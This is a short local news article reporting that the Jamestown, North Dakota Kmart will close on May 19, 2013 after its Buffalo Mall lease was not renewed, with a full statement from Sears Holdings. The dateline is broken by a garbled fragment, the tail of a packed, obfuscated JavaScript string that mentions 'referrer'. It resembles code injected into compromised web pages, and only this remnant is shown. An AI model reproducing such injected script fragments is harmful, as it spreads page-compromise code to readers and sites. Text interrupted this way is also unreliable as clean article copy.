JAMESTOWN, azhht|var|u0026u|referrer|snfhn||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Officials from Sears Holdings have announced that the Jamestown Kmart will be closing on May 19 as the store will not be renewing its lease at the Buffalo Mall.

Howard Riefs, director of corporate public relations with Sears Holdings, tells NewsDakota.com in an email statement that the move is part of the company’s series of actions to “reduce on-going expenses, adjust our asset base and accelerate the transformation of our business model.”

Riefs’ full statement is below:

“The Kmart store in Jamestown will close to the public on May 19, 2013. Until then, the store will remain open for customers. The store will begin its liquidation sale on March 3. As a part of the ordinary course of business we close stores for a variety of reasons. This store is being closed because the lease was not renewed. The store closures are part of a series of actions we’re taking to reduce on-going expenses, adjust our asset base, and accelerate the transformation of our business model. These actions will better enable us to focus our investments on serving our customers and members through integrated retail – at the store, online and in the home. The store has 45 employees. They will have an opportunity to apply for positions at other Kmart and Sears stores.”